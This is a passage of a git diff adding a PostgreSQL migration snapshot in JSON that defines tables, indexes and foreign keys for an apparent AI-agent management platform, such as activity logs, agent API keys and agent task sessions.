+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_issue_id_issues_id_fk": {
+          "name": "workspace_runtime_services_issue_id_issues_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_owner_agent_id_agents_id_fk": {
+          "name": "workspace_runtime_services_owner_agent_id_agents_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "started_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    }
+  },
+  "enums": {},
+  "schemas": {},
+  "sequences": {},
+  "roles": {},
+  "policies": {},
+  "views": {},
+  "_meta": {
+    "columns": {},
+    "schemas": {},
+    "tables": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/db/src/migrations/meta/0226_snapshot.json b/packages/db/src/migrations/meta/0226_snapshot.json
new file mode 100644
index 00000000000..2489a49fe90
--- /dev/null
+++ b/packages/db/src/migrations/meta/0226_snapshot.json
@@ -0,0 +1,39622 @@
+{
+  "id": "682c69c4-2439-4cd4-b312-49ce9de1d711",
+  "prevId": "5f26d1e4-4e78-4976-8a1f-1bd860931b8d",
+  "version": "7",
+  "dialect": "postgresql",
+  "tables": {
+    "public.activity_log": {
+      "name": "activity_log",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_id": {
+          "name": "entity_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "activity_log_company_created_idx": {
+          "name": "activity_log_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_agent_created_idx": {
+          "name": "activity_log_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_responsible_user_created_idx": {
+          "name": "activity_log_company_responsible_user_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_run_id_idx": {
+          "name": "activity_log_run_id_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_entity_type_id_idx": {
+          "name": "activity_log_entity_type_id_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "entity_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "activity_log_company_id_companies_id_fk": {
+          "name": "activity_log_company_id_companies_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_agent_id_agents_id_fk": {
+          "name": "activity_log_agent_id_agents_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_run_id_heartbeat_runs_id_fk": {
+          "name": "activity_log_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.adapter_auth_sessions": {
+      "name": "adapter_auth_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "public_session_id": {
+          "name": "public_session_id",
+          "type": "varchar(128)",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promotion_expires_at": {
+          "name": "promotion_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "bound_at": {
+          "name": "bound_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "adapter_auth_sessions_company_status_idx": {
+          "name": "adapter_auth_sessions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_company_owner_adapter_active_uq": {
+          "name": "adapter_auth_sessions_company_owner_adapter_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting', 'awaiting_code', 'submitting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_public_session_id_uq": {
+          "name": "adapter_auth_sessions_public_session_id_uq",
+          "columns": [
+            {
+              "expression": "public_session_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_environment_idx": {
+          "name": "adapter_auth_sessions_environment_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_expires_idx": {
+          "name": "adapter_auth_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_provider_lease_idx": {
+          "name": "adapter_auth_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "adapter_auth_sessions_company_id_companies_id_fk": {
+          "name": "adapter_auth_sessions_company_id_companies_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "adapter_auth_sessions_environment_id_environments_id_fk": {
+          "name": "adapter_auth_sessions_environment_id_environments_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_api_keys": {
+      "name": "agent_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_config": {
+          "name": "scope_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_api_keys_key_hash_idx": {
+          "name": "agent_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_api_keys_company_agent_idx": {
+          "name": "agent_api_keys_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_api_keys_agent_id_agents_id_fk": {
+          "name": "agent_api_keys_agent_id_agents_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_api_keys_company_id_companies_id_fk": {
+          "name": "agent_api_keys_company_id_companies_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_config_revisions": {
+      "name": "agent_config_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'patch'"
+        },
+        "rolled_back_from_revision_id": {
+          "name": "rolled_back_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changed_keys": {
+          "name": "changed_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "before_config": {
+          "name": "before_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "after_config": {
+          "name": "after_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_config_revisions_company_agent_created_idx": {
+          "name": "agent_config_revisions_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_config_revisions_agent_created_idx": {
+          "name": "agent_config_revisions_agent_created_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_config_revisions_company_id_companies_id_fk": {
+          "name": "agent_config_revisions_company_id_companies_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_memberships": {
+      "name": "agent_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_memberships_company_user_idx": {
+          "name": "agent_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_starred_idx": {
+          "name": "agent_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_agent_idx": {
+          "name": "agent_memberships_agent_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_agent_uq": {
+          "name": "agent_memberships_company_user_agent_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_memberships_company_id_companies_id_fk": {
+          "name": "agent_memberships_company_id_companies_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_memberships_agent_id_agents_id_fk": {
+          "name": "agent_memberships_agent_id_agents_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_runtime_state": {
+      "name": "agent_runtime_state",
+      "schema": "",
+      "columns": {
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state_json": {
+          "name": "state_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_status": {
+          "name": "last_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "total_input_tokens": {
+          "name": "total_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_output_tokens": {
+          "name": "total_output_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cached_input_tokens": {
+          "name": "total_cached_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cost_cents": {
+          "name": "total_cost_cents",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_runtime_state_company_agent_idx": {
+          "name": "agent_runtime_state_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_runtime_state_company_updated_idx": {
+          "name": "agent_runtime_state_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_runtime_state_agent_id_agents_id_fk": {
+          "name": "agent_runtime_state_agent_id_agents_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_runtime_state_company_id_companies_id_fk": {
+          "name": "agent_runtime_state_company_id_companies_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_task_sessions": {
+      "name": "agent_task_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "task_key": {
+          "name": "task_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_params_json": {
+          "name": "session_params_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_display_id": {
+          "name": "session_display_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_task_sessions_company_agent_adapter_task_uniq": {
+          "name": "agent_task_sessions_company_agent_adapter_task_uniq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_agent_updated_idx": {
+          "name": "agent_task_sessions_company_agent_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_task_updated_idx": {
+          "name": "agent_task_sessions_company_task_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_task_sessions_company_id_companies_id_fk": {
+          "name": "agent_task_sessions_company_id_companies_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
